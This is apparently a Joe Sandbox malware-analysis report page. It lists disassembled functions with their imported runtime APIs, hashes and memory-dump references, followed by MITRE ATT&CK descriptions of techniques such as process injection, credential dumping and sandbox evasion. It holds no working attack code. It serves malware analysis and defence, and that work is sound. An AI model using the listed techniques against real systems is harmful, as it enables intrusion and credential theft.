?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF7CEA9B3D4

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: b45920d080d8d4678659f56451c6e88468ea0ecd66730601f2742ce8c786c4e1
Instruction ID: 2c1760c6fdc635a2be6e6c1d8380890a602ed446d43359a5259d15808b48dc2b
Opcode Fuzzy Hash: b45920d080d8d4678659f56451c6e88468ea0ecd66730601f2742ce8c786c4e1
Instruction Fuzzy Hash: AD514132618A4189EB20EF1AD990A3DE7A0FF85FA5B55C532CE4E57BA1CE3DD4428314

Function 00007FF7CEA990C0 Relevance: 10.8, APIs: 7, Instructions: 273COMMON

Download Yara Rule

APIs

?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF7CEA991A6
memcpy.VCRUNTIME140 ref: 00007FF7CEA9925E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA99353
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9946E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA994BE
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA994C5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA994CB

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$?in@?$codecvt@Mbstatet@@Mbstatet@@@std@@memcpy
String ID:
API String ID: 281699261-0
Opcode ID: 9d65bfed7838d7cd01c189297b92ca64ffbdaea2cba263f34434c41371c6b8aa
Instruction ID: 24c68eefc2d9c7063f98730e60daecec9564f72e5b37f12325c451b6c9709c0c
Opcode Fuzzy Hash: 9d65bfed7838d7cd01c189297b92ca64ffbdaea2cba263f34434c41371c6b8aa
Instruction Fuzzy Hash: E0B18162F18A45A9FB00EF64D8446BDB361AB487A8F805631DA5D23BD8EF38D144C358

Function 00007FF7CEA96EF0 Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF7CEA96FA2

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 64994607539f38f552e42247ef51bee8c107110e09ecd35cad0c016812c1fa46
Instruction ID: 94fa9d0ca1d84d1998a1d516d77ed224578b09723fe9ee59c3cb62e1dccad4b7
Opcode Fuzzy Hash: 64994607539f38f552e42247ef51bee8c107110e09ecd35cad0c016812c1fa46
Instruction Fuzzy Hash: A4818822B14B4199EB109F65D8807BC77B0FB48B68F945632EA5D63BA4DF38D494C320

Function 00007FF7CEA9AE70 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7CEA9AF04
memcpy.VCRUNTIME140 ref: 00007FF7CEA9AF48
memcpy.VCRUNTIME140 ref: 00007FF7CEA9AF60
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9AFE8
memcpy.VCRUNTIME140 ref: 00007FF7CEA9B015
memcpy.VCRUNTIME140 ref: 00007FF7CEA9B030
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9B053

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: ec63268d6026fec8c3c01620d9734fc28b0be693d76d74db511f0e55b27b6a49
Instruction ID: 01348310e8c51f30337b4e51b8011ba8db660ee4c84b65911f16a78421047721
Opcode Fuzzy Hash: ec63268d6026fec8c3c01620d9734fc28b0be693d76d74db511f0e55b27b6a49
Instruction Fuzzy Hash: 4451D363A08B8195EB10FF25D9046BDA3A0FB14BA8F944632DF2C27791DF38E695D350

Function 00007FF7CEA9AC60 Relevance: 10.6, APIs: 7, Instructions: 145COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00007FF7CEA957DE), ref: 00007FF7CEA9ACF7
memcpy.VCRUNTIME140(?,?,?,00007FF7CEA957DE), ref: 00007FF7CEA9AD42
memcpy.VCRUNTIME140(?,?,?,00007FF7CEA957DE), ref: 00007FF7CEA9AD5A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7CEA957DE), ref: 00007FF7CEA9ADF9

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

memcpy.VCRUNTIME140(?,?,?,00007FF7CEA957DE), ref: 00007FF7CEA9AE29
memcpy.VCRUNTIME140(?,?,?,00007FF7CEA957DE), ref: 00007FF7CEA9AE47
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9AE6A

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 2b8c79cdb3266eb39cf5aa1dd2f2519663dc420ae3e69cc0fff0188470da729c
Instruction ID: 7f3877371f94ecd29f0c1adbd3fde69e2d79aa95b092bf011088e5f654842bf2
Opcode Fuzzy Hash: 2b8c79cdb3266eb39cf5aa1dd2f2519663dc420ae3e69cc0fff0188470da729c
Instruction Fuzzy Hash: CB519022E08B5599EA10BF25D80477CB3A0FB55BA4F944A32DE2D273C5DF38E595C350

Function 00007FF7CEA984B0 Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF7CEA98E38), ref: 00007FF7CEA98580

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

Part of subcall function 00007FF7CEA91310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7CEA9131B

memcpy.VCRUNTIME140(?,?,?,00007FF7CEA98E38), ref: 00007FF7CEA985A1
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA985BC

Part of subcall function 00007FF7CEA91270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CEA9B543), ref: 00007FF7CEA912B4

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF7CEA98E38), ref: 00007FF7CEA98625
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF7CEA98E38), ref: 00007FF7CEA9862E

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_taskXlength_error@std@@__std_exception_copy_invalid_parameter_noinfo_noreturnmallocmemcpy
String ID:
API String ID: 2733788171-0
Opcode ID: 895c6813316c641382c5e3aa4b1084326639795824eb79dcb369539a11281871
Instruction ID: bc8cd051012f7a3f55cdd06eaaf1174d6f7648c67da1ee8b734fe6599c262cb0
Opcode Fuzzy Hash: 895c6813316c641382c5e3aa4b1084326639795824eb79dcb369539a11281871
Instruction Fuzzy Hash: 7141D532B05B4289EB58AF25E8407BCA390EB44BB4F948231DB2D177D6DE3CD8D58710

Function 00007FF7CEA9CF76 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF7CEA9CFAB
__current_exception_context.VCRUNTIME140 ref: 00007FF7CEA9CFBF
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9CFC7

Strings

csm, xrefs: 00007FF7CEA9CF97

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction ID: e983f58333eda405dcfa35cacc91c7a5b365498bbab06e037fee09b3f11cb829
Opcode Fuzzy Hash: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction Fuzzy Hash: 71F0CF37605B44CAD714AF21EC819AC73A4FB88BA8B8A5120FA4D57B55CF38D8908350

Function 00007FF7CEA996C0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7CEA996F0
memcpy.VCRUNTIME140 ref: 00007FF7CEA997B2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA99805
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA99812

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: eaf3c19ad4d0e686500c82fd6c9687f926ff04beca4be6b011ccc32704aa8542
Instruction ID: 0b415a2bca70ccad114db64dd769f44df4902c12beeb551e9258b752bc3f9419
Opcode Fuzzy Hash: eaf3c19ad4d0e686500c82fd6c9687f926ff04beca4be6b011ccc32704aa8542
Instruction Fuzzy Hash: 18311262B09A46ACFE14BF11A900BBD92919B04FF4F944631CA2D27BC5DE3CE481C328

Function 00007FF7CEA97330 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed82e02baa9a700fae8dd61e3f5e5d4e6d578d09e70afdffe5bad35c6b6e123
Instruction ID: a1c4ec26a9ae5903d1cc01c0d8f65dcfe28e508d23d369e32bf4d820d57f6518
Opcode Fuzzy Hash: fed82e02baa9a700fae8dd61e3f5e5d4e6d578d09e70afdffe5bad35c6b6e123
Instruction Fuzzy Hash: BC517732708B8189DB109F29E85077DB7A5FB84BA4F944236EA9D97799DF3CC444C720

Function 00007FF7CEA9A570 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9A6CB

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1ef9cebed11aa757f790f007fe67e90c90a9a1ada4030d4e0cebe6aba601f67a
Instruction ID: 144837b3515bf9572559fcc7dbc38f6708f060ad05d9147448d34052ec8ced99
Opcode Fuzzy Hash: 1ef9cebed11aa757f790f007fe67e90c90a9a1ada4030d4e0cebe6aba601f67a
Instruction Fuzzy Hash: 5E21C661B1429A5DED183E774D05DBE96116F25FF0E784B31EE3C17BD2DD28E4428220

Function 00007FF7CEA99E30 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF7CEA95133), ref: 00007FF7CEA99F3A

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF7CEA95133), ref: 00007FF7CEA99F65
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF7CEA95133), ref: 00007FF7CEA99F75
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA99FA9

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: fead59cf91176764882eea427c2a42ff201302449ae88b393c1fe2f54dd12570
Instruction ID: adc1fc903c2b63cf954f78466feee480aad7725019e608d19353901215cd695c
Opcode Fuzzy Hash: fead59cf91176764882eea427c2a42ff201302449ae88b393c1fe2f54dd12570
Instruction Fuzzy Hash: CA41B422B15A4195EA10EF12A84467DA394EB48BF0F958731EE7D577C4EE3CD481C314

Function 00007FF7CEA98280 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7CEA982EA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA98370
memcpy.VCRUNTIME140 ref: 00007FF7CEA98396
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA983BA

Part of subcall function 00007FF7CEA9B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7CEA9107B), ref: 00007FF7CEA9B522

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 34d6b8b8f85d502dd3e974caf13f3a255f62ba7057ab9783194fbc3a16eacf1c
Instruction ID: b93bc0e4c05a57d71764dfbeaed9ba01de5a483ca69f36f90090ad92fa35e0bd
Opcode Fuzzy Hash: 34d6b8b8f85d502dd3e974caf13f3a255f62ba7057ab9783194fbc3a16eacf1c
Instruction Fuzzy Hash: 5A31D562A0AB4199EE18BF11AC4067EA295EB15BB0F944B34DE7E177D0DF3CE4928350

Function 00007FF7CEA9A0C0 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF7CEA9A0F8
memcpy.VCRUNTIME140 ref: 00007FF7CEA9A198
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7CEA9A1B6

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
Opcode ID: bb3c3e09e16725125c818d18fe87c36af5fe47e3bf638568bff9307805f37345
Instruction ID: ddc8d2a906926e1214837d5a5397925c15bf921902b367899ecdcc22fd4027db
Opcode Fuzzy Hash: bb3c3e09e16725125c818d18fe87c36af5fe47e3bf638568bff9307805f37345
Instruction Fuzzy Hash: 9421F822B0AB425DEE14BF11AC407BDA2909F157F4FA80A31DE6D1B7D6DE7CE5828310

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
